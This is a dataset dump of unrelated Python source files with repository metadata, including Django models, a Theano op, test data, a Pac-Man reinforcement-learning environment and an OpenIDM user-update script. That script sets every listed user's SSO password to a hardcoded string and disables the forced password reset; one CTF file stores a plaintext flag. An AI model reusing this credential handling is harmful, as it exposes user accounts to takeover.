ROI.""" return self._array[self.bl_corner.x:self.tr_corner.x, self.bl_corner.y:self.tr_corner.y]
35.715686
124
0.644112
958
7,286
4.709812
0.178497
0.019947
0.040337
0.037234
0.517731
0.493351
0.449025
0.442154
0.404034
0.382757
0
0.003842
0.249794
7,286
204
125
35.715686
0.821625
0.308262
0
0.358491
0
0
0.005988
0
0
0
0
0
0
1
0.235849
false
0.075472
0.028302
0
0.5
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
0
1
0
0
0
0
0
2
ca6ddd75727271f4de0ef1acc875f579f196893f
743
py
Python
tests/services_test_case.py
ednad/ooi-ui-services
a45e4386a692887057449c1dd3c62a87f57d6582
[ "Apache-2.0" ]
null
null
null
tests/services_test_case.py
ednad/ooi-ui-services
a45e4386a692887057449c1dd3c62a87f57d6582
[ "Apache-2.0" ]
null
null
null
tests/services_test_case.py
ednad/ooi-ui-services
a45e4386a692887057449c1dd3c62a87f57d6582
[ "Apache-2.0" ]
null
null
null
#!/usr/bin/env python ''' tests.services_test_case The base class for the Services Test Case ''' import unittest import os import shutil class ServicesTestCase(unittest.TestCase): ''' The base test case for the Services unit tests ''' output_dir = 'test-output' def __init__(self, *args, **kwargs): unittest.TestCase.__init__(self, *args, **kwargs) def setUp(self): ''' Creates a directory for testing output and debugging ''' if not os.path.exists(self.output_dir): os.makedirs(self.output_dir) def tearDown(self): ''' Removes the directory ''' if os.path.exists(self.output_dir): shutil.rmtree(self.output_dir)
21.852941
60
0.624495
92
743
4.880435
0.445652
0.100223
0.115813
0.080178
0.111359
0.111359
0
0
0
0
0
0
0.266487
743
33
61
22.515152
0.823853
0.282638
0
0
0
0
0.023758
0
0
0
0
0
0
1
0.230769
false
0
0.230769
0
0.615385
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
0
0
0
0
1
0
0
2
ca730ba4a611ff5caad6e58ca44a29f665f9f406
609
py
Python
out_to_in_op.py
MakaylaLinn/BALSTM-ERwEM
6fc408b1c60b5c4e4b268406dcd38d28ed1fa3fc
[ "BSD-2-Clause" ]
null
null
null
out_to_in_op.py
MakaylaLinn/BALSTM-ERwEM
6fc408b1c60b5c4e4b268406dcd38d28ed1fa3fc
[ "BSD-2-Clause" ]
null
null
null
out_to_in_op.py
MakaylaLinn/BALSTM-ERwEM
6fc408b1c60b5c4e4b268406dcd38d28ed1fa3fc
[ "BSD-2-Clause" ]
null
null
null
import numpy as np import theano import theano.tensor as T from data import noteStateSingleToInputForm class OutputFormToInputFormOp(theano.Op): # Properties attribute __props__ = () def make_node(self, state, time): state = T.as_tensor_variable(state) time = T.as_tensor_variable(time) return theano.Apply(self, [state, time], [T.bmatrix()]) # Python implementation: def perform(self, node, inputs_storage, output_storage): state, time = inputs_storage output_storage[0][0] = np.array(noteStateSingleToInputForm(state, time), dtype='int8')
30.45
94
0.701149
73
609
5.671233
0.493151
0.108696
0.062802
0.082126
0
0
0
0
0
0
0
0.00616
0.200328
609
20
94
30.45
0.843943
0.070608
0
0
0
0
0.007092
0
0
0
0
0
0
1
0.153846
false
0
0.307692
0
0.692308
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
1
0
1
0
0
2
ca87665ae3504a0e2acc1d39267b489922ced509
1,319
py
Python
user/migrations/0002_auto_20170217_1549.py
cyaiox/dreamsgen
07546208c3e03b93987c1ad44d40eef6a12eeb4a
[ "MIT" ]
null
null
null
user/migrations/0002_auto_20170217_1549.py
cyaiox/dreamsgen
07546208c3e03b93987c1ad44d40eef6a12eeb4a
[ "MIT" ]
null
null
null
user/migrations/0002_auto_20170217_1549.py
cyaiox/dreamsgen
07546208c3e03b93987c1ad44d40eef6a12eeb4a
[ "MIT" ]
null
null
null
# -*- coding: utf-8 -*- # Generated by Django 1.10.5 on 2017-02-17 15:49 from __future__ import unicode_literals from django.db import migrations, models class Migration(migrations.Migration): dependencies = [ ('user', '0001_initial'), ] operations = [ migrations.AlterField( model_name='profile', name='birth_date', field=models.DateField(blank=True, null=True), ), migrations.AlterField( model_name='profile', name='identification_number', field=models.CharField(blank=True, max_length=20, null=True), ), migrations.AlterField( model_name='profile', name='identification_type', field=models.CharField(blank=True, choices=[(b'P', b'Passport'), (b'ID', b'Identification'), (b'D', b'Driver License')], max_length=1, null=True), ), migrations.AlterField( model_name='profile', name='phone_number', field=models.CharField(blank=True, max_length=20, null=True), ), migrations.AlterField( model_name='profile', name='sex', field=models.CharField(blank=True, choices=[(b'M', b'Male'), (b'F', b'Female')], max_length=1, null=True), ), ]
32.170732
158
0.57771
144
1,319
5.159722
0.430556
0.13459
0.168237
0.195155
0.611036
0.573351
0.519515
0.419919
0.355316
0.253028
0
0.028391
0.278999
1,319
40
159
32.975
0.752892
0.051554
0
0.515152
1
0
0.134615
0.016827
0
0
0
0
0
1
0
false
0.030303
0.060606
0
0.151515
0
0
0
0
null
0
0
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
2
ca8e71a2cac1b3fc03951fdbc6a51d499076b818
222
py
Python
challenges/linux_misc/timingsc/dist/secret.py
rkevin-arch/ECS189M
363b02b86d37b86226b58b826811945e145410ff
[ "MIT" ]
13
2020-03-22T11:05:51.000Z
2021-01-27T06:39:45.000Z
challenges/linux_misc/timingsc/dist/secret.py
rkevin-arch/ECS189M
363b02b86d37b86226b58b826811945e145410ff
[ "MIT" ]
3
2021-02-20T21:57:15.000Z
2021-06-02T01:14:30.000Z
challenges/linux_misc/timingsc/dist/secret.py
rkevin-arch/ECS189M
363b02b86d37b86226b58b826811945e145410ff
[ "MIT" ]
3
2020-03-23T20:55:48.000Z
2021-04-17T22:38:36.000Z
import random flag="ECS{T1CK_T0CK_86EB9A0242E94E66DB372F75E1BCF415}" def gensecret(i): alphabet="0123456789ABCDEF" return "".join([random.choice(alphabet) for _ in range(i)]) secret=gensecret(random.randint(8,12))
31.714286
63
0.77027
27
222
6.222222
0.814815
0
0
0
0
0
0
0
0
0
0
0.174129
0.094595
222
6
64
37
0.661692
0
0
0
0
0
0.283784
0.211712
0
0
0
0
0
1
0.166667
false
0
0.166667
0
0.5
0
1
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
2
ca97d306d71b6ded90244fd09c6ab9c6114eb6de
949
py
Python
pupa/models/jurisdiction.py
paultag/pupa
137293925503496e15137540e049bf544e129971
[ "BSD-3-Clause" ]
null
null
null
pupa/models/jurisdiction.py
paultag/pupa
137293925503496e15137540e049bf544e129971
[ "BSD-3-Clause" ]
null
null
null
pupa/models/jurisdiction.py
paultag/pupa
137293925503496e15137540e049bf544e129971
[ "BSD-3-Clause" ]
null
null
null
from django.db import models from djorm_pgarray.fields import ArrayField from .base import CommonBase, LinkBase from .divisions import Division class Jurisdiction(CommonBase): id = models.CharField(max_length=500, primary_key=True) name = models.CharField(max_length=300) url = models.URLField() feature_flags = ArrayField(dbtype="text") division = models.ForeignKey(Division, related_name='jurisdictions') class JurisdictionSession(CommonBase): jurisdiction = models.ForeignKey(Jurisdiction, related_name='sessions') name = models.CharField(max_length=300) type = models.CharField(max_length=100) # enum? start_date = models.CharField(max_length=10) # YYYY[-MM[-DD]] end_date = models.CharField(max_length=10) # YYYY[-MM[-DD]] class JurisdictionBuildingMap(LinkBase): jurisdiction = models.ForeignKey(Jurisdiction, related_name='building_maps') order = models.PositiveIntegerField()
35.148148
80
0.753425
110
949
6.363636
0.472727
0.128571
0.154286
0.205714
0.342857
0.342857
0.108571
0.108571
0.108571
0
0
0.019632
0.141201
949
26
81
36.5
0.839264
0.036881
0
0.105263
0
0
0.041758
0
0
0
0
0
0
1
0
false
0
0.210526
0
1
0
0
0
0
null
0
0
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
1
0
0
2
04761dbc2602deba947593d4f33dd4905289176e
169
py
Python
solutions/python3/991.py
sm2774us/amazon_interview_prep_2021
f580080e4a6b712b0b295bb429bf676eb15668de
[ "MIT" ]
42
2020-08-02T07:03:49.000Z
2022-03-26T07:50:15.000Z
solutions/python3/991.py
ajayv13/leetcode
de02576a9503be6054816b7444ccadcc0c31c59d
[ "MIT" ]
null
null
null
solutions/python3/991.py
ajayv13/leetcode
de02576a9503be6054816b7444ccadcc0c31c59d
[ "MIT" ]
40
2020-02-08T02:50:24.000Z
2022-03-26T15:38:10.000Z
class Solution: def brokenCalc(self, X, Y): res = 0 while X < Y: res += Y % 2 + 1 Y = (Y + 1) // 2 return res + X - Y
24.142857
31
0.378698
24
169
2.666667
0.541667
0.09375
0.15625
0
0
0
0
0
0
0
0
0.058824
0.497041
169
7
32
24.142857
0.694118
0
0
0
0
0
0
0
0
0
0
0
0
1
0.142857
false
0
0
0
0.428571
0
1
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
2
04b8d2d1dd6009d4d58ced65afb90bd01830b61f
516
py
Python
atest/testdata/standard_libraries/builtin/objects_for_call_method.py
ldtri0209/robotframework
6bc11a350cbaf5d0801cc5431f32cc1435bb65df
[ "ECL-2.0", "Apache-2.0" ]
4
2016-01-13T13:48:28.000Z
2021-09-05T07:14:07.000Z
atest/testdata/standard_libraries/builtin/objects_for_call_method.py
ldtri0209/robotframework
6bc11a350cbaf5d0801cc5431f32cc1435bb65df
[ "ECL-2.0", "Apache-2.0" ]
null
null
null
atest/testdata/standard_libraries/builtin/objects_for_call_method.py
ldtri0209/robotframework
6bc11a350cbaf5d0801cc5431f32cc1435bb65df
[ "ECL-2.0", "Apache-2.0" ]
2
2018-01-18T22:00:17.000Z
2018-07-26T10:53:00.000Z
import os class MyObject: def __init__(self): self.args = None def my_method(self, *args): self.args = args def __str__(self): return 'String presentation of MyObject' obj = MyObject() if os.name == 'java': # If 'Hashtable' was not imported as 'HT' then variable 'hashtable' # would actually contain 'Hashtable' because variable names are # case-insensitive from java.util import Hashtable as HT hashtable = HT()
17.793103
72
0.600775
61
516
4.934426
0.622951
0.079734
0
0
0
0
0
0
0
0
0
0
0.315891
516
28
73
18.428571
0.852691
0.282946
0
0
0
0
0.095628
0
0
0
0
0
0
1
0.25
false
0
0.166667
0.083333
0.583333
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
0
0
0
0
1
0
0
2
04c33d447344623a51fab974ba1a471746a72eb8
1,708
py
Python
data/elastic/service/simsearch-atoka-elastic-sources.py
smartdatalake/simsearch
9e0ffc0b9da0c77f798cca4d21c7fb834e96ca6d
[ "Apache-2.0" ]
3
2020-07-28T14:59:41.000Z
2022-03-07T03:58:50.000Z
data/elastic/service/simsearch-atoka-elastic-sources.py
smartdatalake/simsearch
9e0ffc0b9da0c77f798cca4d21c7fb834e96ca6d
[ "Apache-2.0" ]
1
2021-04-28T15:16:50.000Z
2021-04-28T15:16:50.000Z
data/elastic/service/simsearch-atoka-elastic-sources.py
smartdatalake/simsearch
9e0ffc0b9da0c77f798cca4d21c7fb834e96ca6d
[ "Apache-2.0" ]
1
2021-04-24T00:54:10.000Z
2021-04-24T00:54:10.000Z
import requests # Request to the web service to create a new instance of SimSearch url = 'http://localhost:8090/simsearch/api/index' # Example JSON specification of the multiple data sources and queryable attributes # Three different attributes are specified available from ElasticSearch REST API service (URL) and accessed with username/password credentials. index = {'sources':[{'name':'myElasticSearchAPI', 'type':'restapi', 'url':'http://localhost:9200/companies/_search?pretty', 'username':'myElasticUserName', 'password':'myElasticPassword'}], 'search':[{'operation':'numerical_topk', 'source':'myElasticSearchAPI', 'dataset':'companies', 'key_column':'id', 'search_column':'revenue'}, {'operation':'spatial_knn', 'source':'myElasticSearchAPI', 'dataset':'companies', 'key_column':'id', 'search_column':'location'}, {'operation':'temporal_topk', 'source':'myElasticSearchAPI', 'dataset':'companies', 'key_column':'id', 'search_column':'active_since'}, {'operation':'textual_topk', 'source':'myElasticSearchAPI', 'dataset':'companies', 'key_column':'id', 'search_column':'name'}, {'operation':'categorical_topk', 'source':'myElasticSearchAPI', 'dataset':'companies', 'key_column':'id', 'search_column':'keywords'}]} # No API key is required when submitting this request to create a new instance # A new API key will be generated once this request completes successfully headers = {'Content-Type' : 'application/json'} # Post a request with these parameters response = requests.post(url, json=index, headers=headers) # Provide the resulting message # IMPORTANT! Save the API key return with this message and use it in all subsequent requests against this instance of SimSearch print(response.json())
89.894737
860
0.757611
207
1,708
6.169082
0.487923
0.09397
0.121378
0.156617
0.290525
0.259201
0.259201
0.259201
0.259201
0.209867
0
0.005158
0.09192
1,708
19
861
89.894737
0.818182
0.368852
0
0
0
0
0.643925
0
0
0
0
0
0
1
0
false
0.166667
0.166667
0
0.166667
0.166667
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
null
0
0
0
0
0
0
0
1
0
0
0
0
0
2
04caca80dab460ab523d48fd49964abcaaee3f86
281
py
Python
utils/sign.py
kasundezoysa/senze
ad2dfbb8302fc93fca086448e7e210c3924e8777
[ "Apache-2.0" ]
1
2018-10-02T15:04:22.000Z
2018-10-02T15:04:22.000Z
utils/sign.py
kasundezoysa/senze
ad2dfbb8302fc93fca086448e7e210c3924e8777
[ "Apache-2.0" ]
null
null
null
utils/sign.py
kasundezoysa/senze
ad2dfbb8302fc93fca086448e7e210c3924e8777
[ "Apache-2.0" ]
2
2016-05-07T11:41:20.000Z
2018-03-01T18:46:55.000Z
from Crypto.Signature import PKCS1_v1_5 from Crypto.Hash import SHA256 from Crypto.PublicKey import RSA message = 'To be signed' key = RSA.importKey(open('.mysensorsPrivKey.pem').read()) h = SHA256.new(message) signer = PKCS1_v1_5.new(key) signature = signer.sign(h) print 'hello'
28.1
57
0.772242
44
281
4.840909
0.613636
0.140845
0.075117
0
0
0
0
0
0
0
0
0.048
0.11032
281
10
58
28.1
0.804
0
0
0
0
0
0.134752
0.074468
0
0
0
0
0
0
null
null
0
0.444444
null
null
0.111111
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
1
0
0
0
1
0
0
0
0
2
04e2ad8a2966845a855f3d64d779b9e1dc2e6329
4,572
py
Python
updateUsers.py
aeyer29/IDAM
f4f946c975d180a04ac0cf1f2f4464e0bf01b763
[ "MIT" ]
null
null
null
updateUsers.py
aeyer29/IDAM
f4f946c975d180a04ac0cf1f2f4464e0bf01b763
[ "MIT" ]
null
null
null
updateUsers.py
aeyer29/IDAM
f4f946c975d180a04ac0cf1f2f4464e0bf01b763
[ "MIT" ]
null
null
null
#!/usr/bin/python2.7 #Update details for list of users. #Necessary inputs: # list of users, delineated by newline (\n) # output file # username of OpenIDM user to call API with # password of OpenIDM user import json import getopt import getpass import sys import requests from urllib import quote as quoteURL def parseInput(inFile): #Output is list of users, based on input where each line has a username as the second word, delimited by a comma with open(str(inFile), 'r') as openFile: readFile = openFile.read().strip() byLines = readFile.split('\n')[1:] userList = [] for line in byLines: splitByWhitespace = line.split(",") user = [splitByWhitespace[1]].strip() userList += user return userList def main(argv): inputFile = '' outputFile = '' openidmUsername = '' openidmPassword = '' try: #Define arguments for command opts, args = getopt.getopt(argv, "Hi:o:u:p:",["inputFile=", "outputFile=", "username=", "password="]) except getopt.GetoptError: print 'updateUsers.py -i <inputFile> -o <outputFile> -u <username> -p <password>' sys.exit(2) for opt, arg in opts: #Read args from the command if opt == '-H': print '\nupdateUsers.py is used to update information for a list of users.' \ '\nUsage: ./updateUsers.py -i <inputFile> -u <username> -p <password>' \ '\n-i --inputFile file with list of users to process. Delineated by newlines.' \ '\n-o --outputFile Name of file to output. Output is of the format: '\ '\n "first last\tusername\tinitial" (tab separated)'\ '\n (tab separated), with each entry on a new line.' \ '\n-u --username The login username for OpenIDM to use for the API call.' \ '\n-p --password The password for the OpenIDM username.'\ '\n Enter "-" in place of password to be prompted and hide the password. For example:'\ '\n initialPassword -i inputFile.txt -o outputFile.txt -u userName -p -' #exit if -H is called, as this is just to print a help command sys.exit() elif opt in ('-i', '--inputFile'): inputFile = arg elif opt in ('-o', '--outputFile'): outputFile=arg elif opt in ('-u', '--username'): openidmUsername = arg elif opt in ('-p', '--password'): if arg == '-': openidmPassword = getpass.getpass("Enter your password:") else: openidmPassword = arg #use list(set()) to ensure each entry is distinct entries = list(set(parseInput(str(inputFile)))) outString = "" for entry in entries: #For each username in the list, send the following command. #use quoteURL to encode the string getUrlArg = 'https://sso.qa.valvoline.com/openidm/managed/user?_queryFilter=userName+eq+%22' + quoteURL(str(entry)) + '%22&_fields=userName,_id,userType' getHeaderArgs = {'X-OpenIDM-Username':str(openidmUsername), 'X-OpenIDM-Password':str(openidmPassword)} getCurlReq = requests.get(getUrlArg, headers = getHeaderArgs) #json.loads will return a dict object, so jsonObj is a dictionary of the format: #{"result":[{"_id":"#","_rev":"#","userName":"string","initialPasswordView":"string"}], # "resultCount":#,"pagedResultsCookie":obj,"totalpagedResultsPolicy":"policy","totalPagedResults":#,"remainingPagedResults":#} jsonObj = json.loads(getCurlReq.text) #The returnedResult is a dictionary. Note that we only use the first result here from the "result" entry in the dictionary. returnedResult = jsonObj["result"][0] returnedUsername = returnedResult["userName"] returnedUserType = returnedResult["userType"] returnedID = returnedResult["_id"] print " found user: " + str(returnedUsername) patchUrlArg = 'https://sso.qa.valvoline.com/openidm/managed/user/' + returnedID patchPassword = {"operation":"replace", "field":"password", "value":"VlvHybr1steam!"} patchTerms = {"operation":"replace","field":"acceptTermsandConditions","value":"true"} patchHeaders = getHeaderArgs patchHeaders.update({'Content-Type':'application/json'}) patchCurlReq = requests.patch(patchUrlArg, json = [patchPassword, patchTerms], headers = patchHeaders) addToOutput = 'dn: uid='+str(returnedUsername)+',ou='+str(returnedUserType)+'s,ou=People,dc=valvoline,dc=com\nchangetype: modify\nreplace: pwdReset\npwdReset: false\n\n' outString += addToOutput outString = outString.strip() with open(str(outputFile),'w') as openOutputFile: openOutputFile.write(outString) if __name__ == "__main__": main(sys.argv[1:])
39.413793
171
0.675197
561
4,572
5.477718
0.388592
0.009762
0.017898
0.011715
0.026033
0.026033
0.026033
0.026033
0
0
0
0.003231
0.187664
4,572
115
172
39.756522
0.824179
0.214348
0
0
0
0.053333
0.421687
0.035024
0
0
0
0
0
0
null
null
0.186667
0.08
null
null
0.04
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
1
0
0
1
0
0
0
0
0
2
04eefdd2737f428470ffaecfc5996c4ca701ba53
10,938
py
Python
env/PacManMaze.py
VenerAndrei/Pac-Man-AI
9869ef0b8e5940a97b211904b92cbc14a6073cf0
[ "MIT" ]
1
2022-01-17T10:33:10.000Z
2022-01-17T10:33:10.000Z
env/PacManMaze.py
VenerAndrei/Pac-Man-AI
9869ef0b8e5940a97b211904b92cbc14a6073cf0
[ "MIT" ]
null
null
null
env/PacManMaze.py
VenerAndrei/Pac-Man-AI
9869ef0b8e5940a97b211904b92cbc14a6073cf0
[ "MIT" ]
null
null
null
import pygame from env.Ghost import * from utils.Graph import * from Agent import * # SCORE score = 0 # FONT pygame.font.init() # you have to call this at the start, # if you want to use this module. font = pygame.font.SysFont('consolas', 20) # SCREEN SIZES tile_size = 16 width = 28 * tile_size height = 31 * tile_size cols, rows = (28, 31) screen = pygame.display.set_mode((width + 400, height)) done = False # MAP FPS = 30 # frames per second setting fpsClock = pygame.time.Clock() # COLORS WHITE = (255, 255, 255) GRAY = (255 // 2, 255 // 2, 255 // 2) BLACK = (0, 0, 0) sprites = pygame.image.load("../images/map.png") grid = [ [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0], [0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0], [0, 1, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 1, 0, 0, 1, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 1, 0], [0, 1, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 1, 0, 0, 1, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 1, 0], [0, 1, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 1, 0, 0, 1, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 1, 0], [0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0], [0, 1, 0, 0, 0, 0, 1, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 1, 0, 0, 0, 0, 1, 0], [0, 1, 0, 0, 0, 0, 1, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 1, 0, 0, 0, 0, 1, 0], [0, 1, 1, 1, 1, 1, 1, 0, 0, 1, 1, 1, 1, 0, 0, 1, 1, 1, 1, 0, 0, 1, 1, 1, 1, 1, 1, 0], [0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 1, 0, 0, 1, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0], [0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 1, 0, 0, 1, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0], [0, 0, 0, 0, 0, 0, 1, 0, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 1, 0, 0, 0, 0, 0, 0], [0, 0, 0, 0, 0, 0, 1, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 1, 0, 0, 0, 0, 0, 0], [0, 0, 0, 0, 0, 0, 1, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 1, 0, 0, 0, 0, 0, 0], [0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0], [0, 0, 0, 0, 0, 0, 1, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 1, 0, 0, 0, 0, 0, 0], [0, 0, 0, 0, 0, 0, 1, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 1, 0, 0, 0, 0, 0, 0], [0, 0, 0, 0, 0, 0, 1, 0, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 1, 0, 0, 0, 0, 0, 0], [0, 0, 0, 0, 0, 0, 1, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 1, 0, 0, 0, 0, 0, 0], [0, 0, 0, 0, 0, 0, 1, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 1, 0, 0, 0, 0, 0, 0], [0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0], [0, 1, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 1, 0, 0, 1, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 1, 0], [0, 1, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 1, 0, 0, 1, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 1, 0], [0, 1, 1, 1, 0, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 1, 1, 1, 0], [0, 0, 0, 1, 0, 0, 1, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 1, 0, 0, 1, 0, 0, 0], [0, 0, 0, 1, 0, 0, 1, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 1, 0, 0, 1, 0, 0, 0], [0, 1, 1, 1, 1, 1, 1, 0, 0, 1, 1, 1, 1, 0, 0, 1, 1, 1, 1, 0, 0, 1, 1, 1, 1, 1, 1, 0], [0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0], [0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0], [0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0], [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0]] coin_grid = copy_arr(grid) rewards = copy_arr(grid) print("AICI") print(rows, cols) for i in range(rows): for j in range(cols): if rewards[i][j] == 1: rewards[i][j] = 10 else: rewards[i][j] = -10 copy_rewards = copy_arr(rewards) def draw_coins(g): for y in range(len(g)): for x in range(len(g[0])): if g[y][x] == 1: pygame.draw.circle(screen, WHITE, (x * tile_size + tile_size / 2, y * tile_size + tile_size / 2), 1) def draw_path(path, ghost_1): for x in range(len(path) - 1): pygame.draw.line(screen, (225, 255, 0), (graph.nodes[ghost_1.heading].y * tile_size + tile_size / 2, graph.nodes[ghost_1.heading].x * tile_size + tile_size / 2), ( graph.nodes[path[-1]].y * tile_size + tile_size / 2, graph.nodes[path[-1]].x * tile_size + tile_size / 2) ) pygame.draw.line(screen, (255, 255, 0), ( graph.nodes[path[x]].y * tile_size + tile_size / 2, graph.nodes[path[x]].x * tile_size + tile_size / 2), ( graph.nodes[path[x + 1]].y * tile_size + tile_size / 2, graph.nodes[path[x + 1]].x * tile_size + tile_size / 2)) def draw_map(screen, grid): for k in range(0, len(grid)): for j in range(0, len(grid[0])): if grid[k][j] == 2: pygame.draw.rect(screen, (255, 0, 0), pygame.Rect(j * tile_size, k * tile_size, tile_size, tile_size)) if grid[k][j] == 3: pygame.draw.rect(screen, (255, 255, 0), pygame.Rect(j * tile_size, k * tile_size, tile_size, tile_size)) return def draw_line(at, to, mat): if at[0] == to[0]: if at[1] - to[1] > 0: for x in range(to[1], at[1] + 1): mat[x][at[0]] = 1 return for x in range(at[1], to[1] + 1): mat[x][at[0]] = 1 return elif at[1] == to[1]: if at[0] - to[0] > 0: for x in range(to[0], at[0] + 1): grid[at[1]][x] = 1 return for x in range(at[0], to[0] + 1): grid[at[1]][x] = 1 return mouseCounter = 0 mouseRes = [0, 0] at = 0 to = 0 n_nodes, node_grid = get_number_of_nodes_from_grid(grid) graph = Graph(n_nodes) graph.make_graph(node_grid) ghosts = [] player = ApproximateQAgent(1, 1, grid, screen, ghosts, coin_grid) def create_reset_ghost(): player.ghosts.clear() ghost_1 = Ghost(screen, graph.nodes[22].x, graph.nodes[22].y, grid) ghost_1.head_to_node(pick_next_node(graph, 22, ghost_1), graph) player.ghosts.append(ghost_1) ghost_2 = Ghost(screen, graph.nodes[25].x, graph.nodes[25].y, grid) ghost_2.head_to_node(pick_next_node(graph, 25, ghost_2), graph) player.ghosts.append(ghost_2) ghost_3 = Ghost(screen, graph.nodes[32].x, graph.nodes[32].y, grid) ghost_3.head_to_node(pick_next_node(graph, 32, ghost_3), graph) player.ghosts.append(ghost_3) ghost_4 = Ghost(screen, graph.nodes[33].x, graph.nodes[33].y, grid) ghost_4.head_to_node(pick_next_node(graph, 33, ghost_4), graph) player.ghosts.append(ghost_4) create_reset_ghost() target_grid = copy_arr(grid) def win_game(coins): row = len(coins) col = len(coins[0]) for i in range(row): for j in range(col): if coins[i][j] == 1: return 1 return 0 def get_reward(eat, game, won_game): if won_game == 1: return 200 if game == 1: return -350 if eat: return 10 else: return -6 def reset_game(scor, games, won_game): player.x = 1 player.y = 1 player.coin_grid = copy_arr(grid) if won_game: print("WIN at ", scor) create_reset_ghost() return 1, games + 1 while done < 25: print("Episode ", done) game_over = 0 score = 0 state = player.get_pos() win = 0 while not game_over: eats = 0 oldstate = state action = player.getAction(state) new_state = player.take_action(action) for ghost in player.ghosts: if ghost.x == player.x and ghost.y == player.y: game_over = 1 if player.coin_grid[player.y][player.x] == 1: player.coin_grid[player.y][player.x] = 0 score += 10 eats = 1 if win_game(player.coin_grid) == 0: game_over = 1 win = 1 for ghost in player.ghosts: hasArrived = ghost.run(graph) if hasArrived: ghost.head_to_node(pick_next_node(graph, ghost.heading, ghost.depart), graph) hasArrived = ghost.run(graph) for ghost in player.ghosts: if ghost.x == player.x and ghost.y == player.y: game_over = 1 reward = get_reward(eats, game_over, win) player.update(state, action, new_state, reward) state = new_state if game_over: game_over, done = reset_game(score, done, win) done = 0 pygame.init() while done < 200: print("Episode ", done) game_over = 0 state = player.get_pos() player.alpha = 0 player.epsilon = 0 score = 0 win = 0 while not game_over: eats = 0 textsurface = font.render( "Heading to x:{:2d} y:{:2d} id:{:2d}".format(ghosts[0].heading_x, ghosts[0].heading_y, ghosts[0].heading), False, (255, 255, 255)) scoresurface = font.render( "Score: {:6d}".format(score), False, (255, 255, 255)) screen.fill(BLACK) screen.blit(sprites, (0, 0), (0, tile_size * 3, width, height)) draw_map(screen, target_grid) 